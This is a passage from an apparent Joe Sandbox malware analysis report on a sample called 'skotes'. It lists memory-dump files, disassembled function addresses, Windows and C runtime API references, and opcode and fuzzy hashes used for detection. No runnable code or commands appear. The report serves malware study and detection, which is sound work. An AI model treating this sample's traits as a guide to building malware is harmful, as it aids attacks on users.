Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 5b5496a4ba22ef9384da5b1b11407f160f7282b699303118a2b260f49689ee17
Instruction ID: 792a3de183f02d915ba4c614e7fd21cb488b6b13fbca888cef5832002449f3eb
Opcode Fuzzy Hash: 5b5496a4ba22ef9384da5b1b11407f160f7282b699303118a2b260f49689ee17
Instruction Fuzzy Hash: 66113C7291410CABDF11DE95C981EDFB7BCAF08310F615266E512E6080EB30EF49CB61

Function 0039AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0039AC8D

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 950b9e1616e4b244498193bc065853809aa85803c92c42d0421d39f7b70f9d75
Instruction ID: 43229e7d3435a9519b2fe763223e2b53f84b2ac5f553009193d38a161cde9a56
Opcode Fuzzy Hash: 950b9e1616e4b244498193bc065853809aa85803c92c42d0421d39f7b70f9d75
Instruction Fuzzy Hash: 7C111572A0420AAFCF06DF58E94199A7BF8EF48304F054069F809EB251D630EE21CBA5

Function 0039B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,7F551698,?,?,0037D3FC,7F551698,?,00377A8B,?,?,?,?,?,?,00367465,?), ref: 0039B07E

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6fae8a84b3e5b48d01f4fcbb43def6f0ced8cc4c1aa3512eec3202cfad6b682c
Instruction ID: 3f20f4dc415291fc3c56551c01bdd37286e3d7e053d6c24114c873287632ffb9
Opcode Fuzzy Hash: 6fae8a84b3e5b48d01f4fcbb43def6f0ced8cc4c1aa3512eec3202cfad6b682c
Instruction Fuzzy Hash: 33E06D3514122696EE333269AE85B6FE64C9B423A0F161211AE649A290EB21DC0082E0

Function 003A1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,003A1B65,?,?,00000000,?,003A1B65,00000000,0000000C), ref: 003A1792

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c33048b83cd25377c335cb3a6f1c48c988581b310c37b8937c6f523b0b63570c
Instruction ID: 5239cf22221082014487363d8768eb4b74893ff7c43e6323597fb4c813144600
Opcode Fuzzy Hash: c33048b83cd25377c335cb3a6f1c48c988581b310c37b8937c6f523b0b63570c
Instruction Fuzzy Hash: CCD0923205020DBBDF129E85DC02EDA3BAAFB48718F024104BE1866020C732E831EB95

Function 04C9019F Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a04c953e95877cc20edb68d741e4c31bef67ac5a128f74978af54e53738b965f
Instruction ID: 1e8fb5d2b74121029bcab96b2410a1a726ede54d57fad4272278927a84f932d4
Opcode Fuzzy Hash: a04c953e95877cc20edb68d741e4c31bef67ac5a128f74978af54e53738b965f
Instruction Fuzzy Hash: 9601A1FB24C1207EB44280876F19AFB67AED2D6731335C427F803D2542B2C82E893031

Function 04C90170 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ee8e3d7a2ac91acfdf9e897556a8579c47aac97345ef3f35568c71411f89bf1
Instruction ID: 5437a143989a99b0fa04cc664da742bc5304fb5c585e1ceb84b51716e06c2ae8
Opcode Fuzzy Hash: 7ee8e3d7a2ac91acfdf9e897556a8579c47aac97345ef3f35568c71411f89bf1
Instruction Fuzzy Hash: 09015EEB24C120BE794284876B18AFA6AAEE6D6731335C427F847D1502B2892E993131

Function 04C90179 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afeffa32fcfaac4c5996e57b141b3e17695a94b4eda5a21cd1c31e4b9fb3f11f
Instruction ID: 0a5e46e076c12831ab62d3308b0fe7d11d44702ed8b5656cdd84db4b8769fc4e
Opcode Fuzzy Hash: afeffa32fcfaac4c5996e57b141b3e17695a94b4eda5a21cd1c31e4b9fb3f11f
Instruction Fuzzy Hash: 9111C2EB24C120BEB94284476B18AFB7AAEE6D6331334C427F843D1502F2882E993171

Function 04C901DC Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d137318a99fb9e01c6387b7bdc1147b50a3a7de890ff93ac97bbc229036d4cc
Instruction ID: b565cc6dc46506b085732d37766d27f5c499ba33b64c5d1a7fe0f23e1deacd56
Opcode Fuzzy Hash: 3d137318a99fb9e01c6387b7bdc1147b50a3a7de890ff93ac97bbc229036d4cc
Instruction Fuzzy Hash: 770175EB24C2217DB54585433B18AFA67EDE2D2731335C837F443D1502E2891E4E3131

Function 04C901CF Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39127f06aab9e04ee7ffa8d75e0416de99ed803068579bda53b4cd04ca8bbb5f
Instruction ID: 23ef823f56834ff66287534f282ded448812f982fcab2c324db630358e89ca0c
Opcode Fuzzy Hash: 39127f06aab9e04ee7ffa8d75e0416de99ed803068579bda53b4cd04ca8bbb5f
Instruction Fuzzy Hash: 8101FBEB24C6617EB58680832B18AFA67AEE6D6730335C467F843D5406E1891E8E3132

Function 04C90232 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2997062010.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c90000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4f92f71915e3c02b75410edc4467d328b89daec13c08366e8b82f5446c05286
Instruction ID: dd73be94a11085d74b3d500012200ce032689d1f9cd513a7c530340aaeb8030d
Opcode Fuzzy Hash: f4f92f71915e3c02b75410edc4467d328b89daec13c08366e8b82f5446c05286
Instruction Fuzzy Hash: 02018FAB24C2617DA946859377185BA6BAEE6D3330335C867F482C0402E1882E8E6131

Non-executed Functions

Function 00380E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00380F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00380F62

Part of subcall function 0038265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00382750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00380FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00380FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0038103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0038106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 003810C1

Strings

(, xrefs: 00380F22

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
